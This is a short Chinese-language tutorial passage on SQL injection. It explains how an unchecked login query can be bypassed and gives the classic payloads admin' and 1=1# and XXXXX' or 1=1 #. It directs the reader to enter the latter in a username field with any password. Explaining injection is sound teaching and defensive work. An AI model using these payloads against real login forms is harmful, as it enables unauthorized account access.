原理
服务端后台存在类似代码
SELECT * FROM accounts WHERE username='admin' and password = 'password'
后端如果没做校验处理,username 和 password 值从前端传进来直接执行sql语句,就存在可以构造恶意代码。
如果在用户框输入admin’ and 1=1# 那么后台执行的SQL语句为
SELECT * FROM accounts WHERE username='admin' and 1=1 # 'and password = 'password'
这个有个前提条件是username是admin,如果不是amdin的话可以把and 换成 or
SELECT * FROM accounts WHERE username='admin' or 1=1 # 'and password = 'password'
好了进入主题,用户名的输入框写入XXXXX’ or 1=1 # 密码随便输入,不输入都行